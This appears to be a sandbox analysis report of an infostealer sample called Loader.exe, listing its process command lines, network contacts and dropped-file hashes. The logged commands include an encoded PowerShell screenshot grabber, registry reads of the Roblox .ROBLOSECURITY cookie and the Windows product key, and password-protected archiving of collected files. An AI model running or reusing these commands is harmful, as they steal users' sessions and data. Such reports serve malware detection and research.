powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\blwe41f5\blwe41f5.cmdline"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2110.tmp" "c:\Users\Admin\AppData\Local\Temp\blwe41f5\CSC3D7387F7795E4701AFEA9AC56955C6A.TMP"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2612"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 2612
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4564"
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4564
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2612"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3476"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 2612
C:\Windows\system32\taskkill.exe
taskkill /F /PID 3476
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4564"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5060"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4564
C:\Windows\system32\taskkill.exe
taskkill /F /PID 5060
C:\Users\Admin\Downloads\nova\Loader.exe
"C:\Users\Admin\Downloads\nova\Loader.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3476"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5048"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 3476
C:\Windows\system32\taskkill.exe
taskkill /F /PID 5048
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5060"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4136"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 5060
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4136
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5048"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4412"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 5048
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4412
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4136"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 936"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4136
C:\Windows\system32\taskkill.exe
taskkill /F /PID 936
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4412"
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4412
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 936"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 936
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\getmac.exe
getmac
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI24962\rar.exe a -r -hp"24122" "C:\Users\Admin\AppData\Local\Temp\fyqCV.zip" *"
C:\Users\Admin\AppData\Local\Temp\_MEI24962\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI24962\rar.exe a -r -hp"24122" "C:\Users\Admin\AppData\Local\Temp\fyqCV.zip" *
C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
C:\Users\Admin\Downloads\nova\Loader.exe
"C:\Users\Admin\Downloads\nova\Loader.exe"
C:\Users\Admin\Downloads\nova\Loader.exe
"C:\Users\Admin\Downloads\nova\Loader.exe"
C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | mega.nz | udp |
| LU | 31.216.144.5:443 | mega.nz | tcp |
| US | 8.8.8.8:53 | content-autofill.googleapis.com | udp |
| US | 8.8.8.8:53 | 5.144.216.31.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.102.250.142.in-addr.arpa | udp |
| LU | 31.216.144.5:443 | mega.nz | tcp |
| US | 8.8.8.8:53 | eu.static.mega.co.nz | udp |
| LU | 89.44.169.132:443 | eu.static.mega.co.nz | tcp |
| LU | 89.44.169.132:443 | eu.static.mega.co.nz | tcp |
| US | 8.8.8.8:53 | g.api.mega.co.nz | udp |
| LU | 66.203.125.12:443 | g.api.mega.co.nz | tcp |
| US | 8.8.8.8:53 | 132.169.44.89.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 12.125.203.66.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| LU | 89.44.169.132:443 | eu.static.mega.co.nz | tcp |
| LU | 31.216.144.5:443 | mega.nz | tcp |
| LU | 66.203.125.12:443 | g.api.mega.co.nz | tcp |
| N/A | 224.0.0.251:5353 | udp | |
| N/A | 127.0.0.1:6341 | tcp | |
| N/A | 127.0.0.1:6341 | tcp | |
| N/A | 127.0.0.1:6341 | tcp | |
| N/A | 127.0.0.1:6341 | tcp | |
| US | 8.8.8.8:53 | gfs302n505.userstorage.mega.co.nz | udp |
| CA | 185.206.25.15:443 | gfs302n505.userstorage.mega.co.nz | tcp |
| CA | 185.206.25.15:443 | gfs302n505.userstorage.mega.co.nz | tcp |
| CA | 185.206.25.15:443 | gfs302n505.userstorage.mega.co.nz | tcp |
| CA | 185.206.25.15:443 | gfs302n505.userstorage.mega.co.nz | tcp |
| US | 8.8.8.8:53 | 15.25.206.185.in-addr.arpa | udp |
| CA | 185.206.25.15:443 | gfs302n505.userstorage.mega.co.nz | tcp |
| CA | 185.206.25.15:443 | gfs302n505.userstorage.mega.co.nz | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| N/A | 127.0.0.1:6341 | tcp | |
| N/A | 127.0.0.1:6341 | tcp | |
| US | 8.8.8.8:53 | blank-5velk.in | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | gstatic.com | udp |
| NL | 142.250.102.120:443 | gstatic.com | tcp |
| US | 8.8.8.8:53 | 120.102.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | discord.com | udp |
| US | 162.159.137.232:443 | discord.com | tcp |
| US | 8.8.8.8:53 | 232.137.159.162.in-addr.arpa | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
\??\pipe\crashpad_2612_REBXGEHRGAADGSXX
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
| MD5 | d751713988987e9331980363e24189ce |
| SHA1 | 97d170e1550eee4afc0af065b78cda302a97674c |
| SHA256 | 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945 |
| SHA512 | b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_mega.nz_0.indexeddb.leveldb\CURRENT
| MD5 | 46295cac801e5d4857d09837238a6394 |
| SHA1 | 44e0fa1b517dbf802b18faf0785eeea6ac51594b |
| SHA256 | 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443 |
| SHA512 | 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\File System\000\p\Paths\MANIFEST-000001
| MD5 | 5af87dfd673ba2115e2fcf5cfdb727ab |
| SHA1 | d5b5bbf396dc291274584ef71f444f420b6056f1 |
| SHA256 | f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4 |
| SHA512 | de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | 4c6debd7fc229a92ba9a1d6a5a097c44 |
| SHA1 | 94e27d3c20016328f1bf4bab7e163c3137c17277 |
| SHA256 | 891c0fb689780950067165ae0525a6ab0d27f803e3e10625a5b890286aedb438 |
| SHA512 | 9527a239eb107d920c0e3add84699625e625b095c62502f22869e3dae0211e87a4e44e0bf1d3397f0b238f89591b4d3aa45ef40b65d3744da7d5d20ce1e1bf10 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | 8d0bab6c942911d66567a8311700e134 |
| SHA1 | 9a9290280eb209a47e690b3a1e36ea790bf3dbb4 |
| SHA256 | b906706f228a3964e727bb777c60906a60eeb1d37efeab39336a35050224d240 |
| SHA512 | 40ea10aaa8955d6150886ebbf2ac803b056be9b06fc0cb24dfff6a9f99c4507f991106326e7ef4a54f28373760ca35ebb48fe8247cfd7bd7687d24b74ed83a2d |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
| MD5 | e10dadde449c2c4d45eda50888024335 |
| SHA1 | 78ceebe07ed4f2596a25d36307571b9cdea5dc72 |
| SHA256 | 35f20486ce375f994eb476bfb93b925ffaa93f09692a751bd706b4ec589d4b46 |
| SHA512 | 27747cc18bfcc345e494a6dc24e95f9ce6fef43f5e75e198b1618fda75524ac3a8a4ee8fee8ca52b741ad393152f8700e99fdd8b8748fd0352fba622ab98402b |
C:\Users\Admin\Downloads\nova.zip.crdownload
| MD5 | 5c505236d749a22e5e9c0e039c2e39a4 |
| SHA1 | addac5ead6396ae97c7ca8464ecb40606035840c |
| SHA256 | 4bba34f5d7a0b1e67b762d245d34d5a2dacf6a9d4d36c01d9368f45ffc8e70f3 |
| SHA512 | 9bbb098085e24c8837e9b3cb1decb9f61e8276cbb4a05958b5a86af58f94eacf134839132e1ae08776511611b2ca24072d184fd6c2b2dbbb74fd0e4d5ab6263e |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
| MD5 | c2b90cd35aad4f11f1030efda596f0ce |
| SHA1 | 589a4a226667917b699560aa6ac9d5ad9fdbe4e2 |
| SHA256 | fbd824a35681eabca6dbdd24bd8b999f498e7b07eb84e4109a77f74be0175c4a |
| SHA512 | b9b77260ab2659c8acb2817e64e687a522ff76023260890620168bf91d452407347312872c7d43f89dc5ea52b1a7fd047989ca4449895cc4152473dbffa65ca8 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | dd7bf6eff4181423d2750d241e7466f3 |
| SHA1 | c9c880db26cf744cb4066b25336268c9f1da8000 |
| SHA256 | 7892956b7de01cda6b20e3f6d1638ee8478493b37fe2621aa4a16bd03aa06cfd |
| SHA512 | 4cc4c3e1177c11c0aa4951762a7a5bad3e334695e49971569bd2e2fc26d3bcd760593076681f910f061335a8f31dcf7938741ca39fb6708adfbe9b45e9cb44fa |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
| MD5 | 1ccf777f45cfbd46121eefb1039a3edc |
| SHA1 | 7cfdf692a676497ba12a0b20bd4c0d2d5c7d9e03 |
| SHA256 | a6b6ecffa9faf8d675446da34f966b8b442cf676998c56d54b435c347d4d57fb |
| SHA512 | 3dff991c0dfaef01de61b5760136e682beba52cd5d549dabdd7049cfea109c4f5e9dc48bd9645ab420e8f466bd402144c20f27b0db8583f7e38229c0cd6fa07b |
C:\Users\Admin\Downloads\nova\Loader.exe
| MD5 | 6d8b8dc75b6fca0503eb61189709eddc |
| SHA1 | 688bda04fc02f658940c9adcea9328265e464c98 |
| SHA256 | b943b9894fcf740d87809358cf35438a5bfacf19eed4178a2d452e412f7040b3 |
| SHA512 | abb64bbf5cefba249f960128ccd03914ce061437c6229c09e0fd67e774a554d93185b7e97015fc193ad36b54b021fec361a8500d45ca120b625e17d24ce9e9a3 |
memory/3276-205-0x00000000007C0000-0x0000000000E98000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Built.exe
| MD5 | 6598fd689a0d5f964dcea08c179f9438 |
| SHA1 | 694a9ad9326cde43bbc2266f3140659554732e34 |
| SHA256 | 554d1180a2ab2b2b5b019883eae3872d3bc515e518bb494b8606d222d66a555b |
| SHA512 | dbb707023939e4d4d7ad048747f57000c6086e612e3034d3307ee5e8557c554a6f4635b0d51bb33c9310038d35e2b4940538ebe33c2242530520efad1f657bee |
C:\Users\Admin\AppData\Local\Temp\Client.exe
| MD5 | ebc24021778a88f078b2c676e04ab8ba |
| SHA1 | cdcca27fcf3be6f1281c4bf0c47151ac90221a44 |
| SHA256 | 2a3b9cc433d052fa723f3eaea7685fff10f916c2129f9d1c699bfaae381a6ffe |
| SHA512 | e341b23d856c14fb7f20bad7860c6b3839e46aeafd5d0d9299b8f0399016dfeb4912c0309ebf6c6d17bf3216b457538b826380986be0ca4daceeabb7201bfa67 |
memory/4596-250-0x0000000000D90000-0x0000000000DA8000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI24962\python311.dll
| MD5 | bb46b85029b543b70276ad8e4c238799 |
| SHA1 | 123bdcd9eebcac1ec0fd2764a37e5e5476bb0c1c |
| SHA256 | 72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0 |
| SHA512 | 5e993617509c1cf434938d6a467eb0494e04580ad242535a04937f7c174d429da70a6e71792fc3de69e103ffc5d9de51d29001a4df528cfffefdaa2cef4eaf31 |
C:\Users\Admin\AppData\Local\Temp\_MEI24962\VCRUNTIME140.dll
| MD5 | f12681a472b9dd04a812e16096514974 |
| SHA1 | 6fd102eb3e0b0e6eef08118d71f28702d1a9067c |
| SHA256 | d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8 |
| SHA512 | 7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2 |
memory/4996-259-0x00007FFFD8C70000-0x00007FFFD9258000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI24962\base_library.zip
| MD5 | 83d235e1f5b0ee5b0282b5ab7244f6c4 |
| SHA1 | 629a1ce71314d7abbce96674a1ddf9f38c4a5e9c |
| SHA256 | db389a9e14bfac6ee5cce17d41f9637d3ff8b702cc74102db8643e78659670a0 |
| SHA512 | 77364aff24cfc75ee32e50973b7d589b4a896d634305d965ecbc31a9e0097e270499dbec93126092eb11f3f1ad97692db6ca5927d3d02f3d053336d6267d7e5f |
C:\Users\Admin\AppData\Local\Temp\_MEI24962\_socket.pyd
| MD5 | 4351d7086e5221398b5b78906f4e84ac |
| SHA1 | ba515a14ec1b076a6a3eab900df57f4f37be104d |
| SHA256 | a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe |
| SHA512 | a1bcf51e797ccae58a0b4cfe83546e5e11f8fc011ca3568578c42e20bd7a367a5e1fa4237fb57aa84936eec635337e457a61a2a4d6eca3e90e6dde18ae808025 |
C:\Users\Admin\AppData\Local\Temp\_MEI24962\_ssl.pyd
| MD5 | 156b1fa2f11c73ed25f63ee20e6e4b26 |
| SHA1 | 36189a5cde36d31664acbd530575a793fc311384 |
| SHA256 | a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51 |
| SHA512 | a8181ffeb3cf8ef2a25357217a3dd05242cc0165473b024cf0aeb3f42e21e52c2550d227a1b83a6e5dab33a185d78e86e495e9634e4f4c5c4a1aec52c5457dca |
C:\Users\Admin\AppData\Local\Temp\_MEI24962\_sqlite3.pyd
| MD5 | d678600c8af1eeeaa5d8c1d668190608 |
| SHA1 | 080404040afc8b6e5206729dd2b9ee7cf2cb70bc |
| SHA256 | d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed |
| SHA512 | 8fd5f0fd5bd60c6531e1b4ad867f81da92d5d54674028755e5680fb6005e6444805003d55b6cbaf4cdad7b4b301cffab7b010229f6fd9d366405b8ade1af72d9 |
C:\Users\Admin\AppData\Local\Temp\_MEI24962\_queue.pyd
| MD5 | fbbbfbcdcf0a7c1611e27f4b3b71079e |
| SHA1 | 56888df9701f9faa86c03168adcd269192887b7b |
| SHA256 | 699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163 |
| SHA512 | 0a5ba701653ce9755048ae7b0395a15fbb35509bef7c4b4fe7f11dc4934f3bd298bcddbf2a05b61f75f8eb44c4c41b3616f07f9944e0620b031cbe87a7443284 |
C:\Users\Admin\AppData\Local\Temp\_MEI24962\_lzma.pyd
| MD5 | 8d9e1bb65a192c8446155a723c23d4c5 |
| SHA1 | ea02b1bf175b7ef89ba092720b3daa0c11bef0f0 |
| SHA256 | 1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7 |
